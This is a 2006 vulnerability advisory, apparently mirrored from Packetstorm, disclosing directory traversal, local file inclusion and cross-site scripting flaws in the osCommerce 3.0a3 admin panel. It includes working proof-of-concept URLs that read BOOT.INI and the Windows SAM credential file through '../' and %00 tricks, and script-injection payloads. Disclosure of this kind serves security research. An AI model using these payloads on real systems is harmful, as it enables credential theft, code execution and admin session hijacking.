Lucene search
+L

osc303.txt

🗓️ 07 Dec 2006 00:00:00Reported by LostmonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Remote arbitrary file access vulnerability in OsCommerce 3.0a

Code
`############################################  
Oscommerce traversal arbitrary file access  
Vendor:http://www.oscommerce.com/about/news,125  
Advisore:http://lostmon.blogspot.com/2006/12  
/oscommerce-traversal-arbitrary-file.html  
Vendor notify:NO Exploit available: YES  
###########################################  
  
osCommerce contains a flaw that allows a remote traversal  
arbitrary file access.This flaw exists because the application  
does not validate filter variable upon submission to  
admin/templates_boxes_layout.php script.This could allow a  
remote authenticated administrator to create a specially  
crafted URL that would execute '../' directory traversal  
characters to view files on the target system with  
the privileges of the target web service.  
  
  
  
####################  
versions  
####################  
  
Oscommerce 3.0a3  
  
  
###################  
SOLUTION  
###################  
  
No solution was available at this time.  
  
  
################  
timeline  
################  
  
Discovered:11-11-2006  
vendor notify:-----  
vendor response:----  
disclosure:07-12-2006  
  
#################  
Examples  
#################  
  
######################  
traversal file access  
######################  
  
wen we try to open  
  
http://localhost/oscommerce/admin/templates_boxes_layout.php?  
set=boxes&filter=[SOME WORD]&lID=27  
  
the aplication returns a full path disclosure and  
returns this error:  
  
Warning: require(includes/templates/[SOME WORD].php) [function.require]:  
failed to open stream: No such file or directory in C:\AppServ\www\  
oscommerce\admin\templates\pages\templates_boxes_layout.php on line 13  
  
Fatal error: require() [function.require]: Failed opening required  
'includes/templates/[SOME WORD].php' (include_path='.;C:\php5\pear')  
in C:\AppServ\www\oscommerce\admin\templates\pages\templates_  
boxes_layout.php on line 13  
  
the aplication add the .php extension to our [SOME WORD] ummm  
and it searh for the file in a folder inside webserver  
we can include any php file located on the web server  
in the aplication and it is executed(local file inclusion)  
  
http://[victim]/admin/templates_boxes_layout.php?  
set=boxes&filter=../../our_evil_php_file&lID=27  
  
if we try to read a file outside webserver folder with a non php  
extension can try for test this...  
  
&filter=../../../../file.extension%00 for look for example boot.ini  
in a windows system  
  
http://localhost/oscommerce/admin/templates_boxes_layout.php?  
set=boxes&filter=../../../../BOOT.INI%00&lID=27  
  
http://localhost/oscommerce/admin/templates_boxes_layout.php?  
set=content&filter=../../../../windows/repair/sam%00&lID=27  
  
#####################  
Cross site scripting  
#####################  
  
http://localhost/oscommerce/admin/modules.php?set=shipping  
%22%3E%3Cscript%3Ealert('xss')%3C/script%3E  
  
http://localhost/definitiva/admin/customers.php?selected_box=customers  
%22%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E  
  
http://localhost/oscommerce/admin/languages_definitions.php?lID=1  
%22%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E  
  
http://localhost/oscommerce/admin/products.php?pID=1%22%3E%3CSCRIPT  
%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E&action=new_product  
  
  
######################## €nd #####################  
  
Thnx to Estrella to be my ligth.  
  
--   
atentamente:  
Lostmon ([email protected])  
Web-Blog: http://lostmon.blogspot.com/  
--  
La curiosidad es lo que hace mover la mente....  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Dec 2006 00:00Current
7.4High risk
Vulners AI Score7.4
26